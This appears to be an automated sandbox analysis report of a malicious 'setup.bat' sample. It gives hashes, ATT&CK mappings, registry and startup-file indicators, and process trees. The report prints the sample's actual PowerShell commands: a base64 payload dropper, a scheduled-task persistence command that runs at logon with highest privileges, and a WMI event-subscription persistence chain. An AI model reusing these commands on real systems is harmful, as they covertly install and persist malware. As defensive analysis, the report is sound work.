ea4678072dd10a2bacbd1723558e3442d7864134825409fbb963753966acdc9d

Analysis

max time kernel
44s
max time network
40s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 03:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
esseidm/setup.bat
Size 16.6MB
Sample260602-ecwzaadt21
SHA256 ea4678072dd10a2bacbd1723558e3442d7864134825409fbb963753966acdc9d
MD5 8fc740d66e60fd431b74f17773a98fb0
SHA1 394fd5f9cfeab29e26429b4c01b61b39da36e3d2
SHA512 4f2654914a62a21d65b63b390e5715a695d5544f652c3e692c396b8f12d0b00d9adc302b0f491b428c7c8ee486bc5cd0f1c30822d573af2979e0565e0c79195b
SSDEEP 49152:qncpeL9t1M+UfMWfR5uBNnu9ooura7wMptJyFqvdkOubLE9EecGQITRCpNLR9uO8:d
TLSH
T1E5074B320697BEFD3F6D3C85A4056E441D5C3B4B1169824ABB8830BA67E95B4CF2CD78
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
2856	powershell.exe
1572	powershell.exe
1724	powershell.exe
1484	powershell.exe
2856	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-2779219133.tmp	3204bb62-369f-46ce-ba3b-612ea444157e.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-2552202159.tmp	ovd_2ead0fb748bd.exe

Executes dropped EXE 2 IoCs

pid	Process
4028	3204bb62-369f-46ce-ba3b-612ea444157e.exe
1456	ovd_2ead0fb748bd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-87ae26b3 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_2ead0fb748bd.exe\""	3204bb62-369f-46ce-ba3b-612ea444157e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-87ae26b3 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_2ead0fb748bd.exe\""	ovd_2ead0fb748bd.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2856	powershell.exe
2856	powershell.exe
1572	powershell.exe
1572	powershell.exe
1724	powershell.exe
1724	powershell.exe
1484	powershell.exe
1484	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeIncreaseQuotaPrivilege	1572	powershell.exe
Token: SeSecurityPrivilege	1572	powershell.exe
Token: SeTakeOwnershipPrivilege	1572	powershell.exe
Token: SeLoadDriverPrivilege	1572	powershell.exe
Token: SeSystemProfilePrivilege	1572	powershell.exe
Token: SeSystemtimePrivilege	1572	powershell.exe
Token: SeProfSingleProcessPrivilege	1572	powershell.exe
Token: SeIncBasePriorityPrivilege	1572	powershell.exe
Token: SeCreatePagefilePrivilege	1572	powershell.exe
Token: SeBackupPrivilege	1572	powershell.exe
Token: SeRestorePrivilege	1572	powershell.exe
Token: SeShutdownPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeSystemEnvironmentPrivilege	1572	powershell.exe
Token: SeRemoteShutdownPrivilege	1572	powershell.exe
Token: SeUndockPrivilege	1572	powershell.exe
Token: SeManageVolumePrivilege	1572	powershell.exe
Token: 33	1572	powershell.exe
Token: 34	1572	powershell.exe
Token: 35	1572	powershell.exe
Token: 36	1572	powershell.exe
Token: SeIncreaseQuotaPrivilege	1572	powershell.exe
Token: SeSecurityPrivilege	1572	powershell.exe
Token: SeTakeOwnershipPrivilege	1572	powershell.exe
Token: SeLoadDriverPrivilege	1572	powershell.exe
Token: SeSystemProfilePrivilege	1572	powershell.exe
Token: SeSystemtimePrivilege	1572	powershell.exe
Token: SeProfSingleProcessPrivilege	1572	powershell.exe
Token: SeIncBasePriorityPrivilege	1572	powershell.exe
Token: SeCreatePagefilePrivilege	1572	powershell.exe
Token: SeBackupPrivilege	1572	powershell.exe
Token: SeRestorePrivilege	1572	powershell.exe
Token: SeShutdownPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeSystemEnvironmentPrivilege	1572	powershell.exe
Token: SeRemoteShutdownPrivilege	1572	powershell.exe
Token: SeUndockPrivilege	1572	powershell.exe
Token: SeManageVolumePrivilege	1572	powershell.exe
Token: 33	1572	powershell.exe
Token: 34	1572	powershell.exe
Token: 35	1572	powershell.exe
Token: 36	1572	powershell.exe
Token: SeIncreaseQuotaPrivilege	1572	powershell.exe
Token: SeSecurityPrivilege	1572	powershell.exe
Token: SeTakeOwnershipPrivilege	1572	powershell.exe
Token: SeLoadDriverPrivilege	1572	powershell.exe
Token: SeSystemProfilePrivilege	1572	powershell.exe
Token: SeSystemtimePrivilege	1572	powershell.exe
Token: SeProfSingleProcessPrivilege	1572	powershell.exe
Token: SeIncBasePriorityPrivilege	1572	powershell.exe
Token: SeCreatePagefilePrivilege	1572	powershell.exe
Token: SeBackupPrivilege	1572	powershell.exe
Token: SeRestorePrivilege	1572	powershell.exe
Token: SeShutdownPrivilege	1572	powershell.exe
Token: SeDebugPrivilege	1572	powershell.exe
Token: SeSystemEnvironmentPrivilege	1572	powershell.exe
Token: SeRemoteShutdownPrivilege	1572	powershell.exe
Token: SeUndockPrivilege	1572	powershell.exe
Token: SeManageVolumePrivilege	1572	powershell.exe
Token: 33	1572	powershell.exe
Token: 34	1572	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 2856	4348	cmd.exe	82
PID 2856 wrote to memory of 4028	2856	powershell.exe	83
PID 4028 wrote to memory of 1572	4028	3204bb62-369f-46ce-ba3b-612ea444157e.exe	84
PID 1456 wrote to memory of 1724	1456	ovd_2ead0fb748bd.exe	88
PID 1456 wrote to memory of 1484	1456	ovd_2ead0fb748bd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\esseidm\setup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$f=$env:_OVD_SELF;$l=[IO.File]::ReadAllLines($f);$i=0;for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq ':OVD_F11DA4D0C4BD4D62'){$i=$j+1;break}};$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');[IO.File]::WriteAllBytes($t,$b);Start-Process $t;exit"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Users\Admin\AppData\Local\Temp\3204bb62-369f-46ce-ba3b-612ea444157e.exe
    "C:\Users\Admin\AppData\Local\Temp\3204bb62-369f-46ce-ba3b-612ea444157e.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_56e13d66' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1572

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_56e13d66' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f56e13d66'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c56e13d66'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ead0fb748bd.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f56e13d66'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c56e13d66'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3d9b2453c9d240986291cbf8b88ac8c97c1fb8ba07e10e46df85700d547acd0f
MD5 836c0f592ae16d0a326c04f834751a13
SHA1 8050118c61c1afb9e55bb8c265c2b5c25db05f67
SHA512 8197e08d307eeb49544da556e6fc672572e938fe10cb437ff94ba594813752c6051ed12882b07416bb577b6ceb319b113e208cd1b968a5337c400133c4a73555
TLSH
T16A115733B79CC134C8D9157A1088AD11B1B1C3CB049FDE8B7A84C119E57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 32bc08c5e4d3fb225bce68f45cff596f7463a64f45be77de5a512808e782d047
MD5 6d6ac658f00b84b8a1c1ca801bdd218f
SHA1 3bb362ccbd1fb324230f8f1586ff24b673bcb3b1
SHA512 fa2ca80eeff78323d194bcceffbe9e77abf161ecd42ba3fffea6f201b110216976daf918a641996d0b9f75566626bc15ba2d720ef183454efb612f83233fc68f
TLSH
T1BD216533B3ECC125C8D9117A208CAD00B2B5C3C7449E8F8B7A84C619957F9DADB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

3204bb62-369f-46ce-ba3b-612ea444157e.exe

Path C:\Users\Admin\AppData\Local\Temp\3204bb62-369f-46ce-ba3b-612ea444157e.exe
Size 12.1MB
SHA256 a42fa4a574d9f51dfc4d0cc487b3b2dddeb011c5a1dc9cfbe24725a83eaa8c33
MD5 7b9bdaa4e89fd3de587a8ae181ffd302
SHA1 619b9f51c5dc93456566740d4c30246489690105
SHA512 20b78d8ca436f605e95fb5f4a57d5917d4f156e60bd2379f9e017ca57497a0a21742290cd0f6bae5970691c1757b82c4f69f57f9a54f693afcfc9f523d8000a6
SSDEEP 49152:Dvxs0PC4DVcpB8BLJB9cJRlk2VE8bWiwrB/0BJ4ItryK6jqBNjzgxIracid/yt0I:Dv2ujC8XAiqBhcK8smFIrDBLOM9DVzE
TLSH
T19AD63A17ECA506E9C5AEC130897696637B717C494B2123D72B60F7282F37BD09EB9B10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_qn14y0lc.gyu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qn14y0lc.gyu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1572-42-0x0000022F41A50000-0x0000022F41A6C000-memory.dmp

Download

memory/1572-43-0x0000022F41AB0000-0x0000022F41B63000-memory.dmp

Download

memory/1572-44-0x0000022F41A40000-0x0000022F41A4A000-memory.dmp

Download

memory/1572-45-0x0000022F41DC0000-0x0000022F41DDC000-memory.dmp

Download

memory/2856-0-0x000001A1CE5F0000-0x000001A1CE600000-memory.dmp

Download

memory/2856-1-0x000001A1B4DC0000-0x000001A1B4DE2000-memory.dmp

Download

memory/2856-8-0x000001A1CE5F0000-0x000001A1CE600000-memory.dmp

Download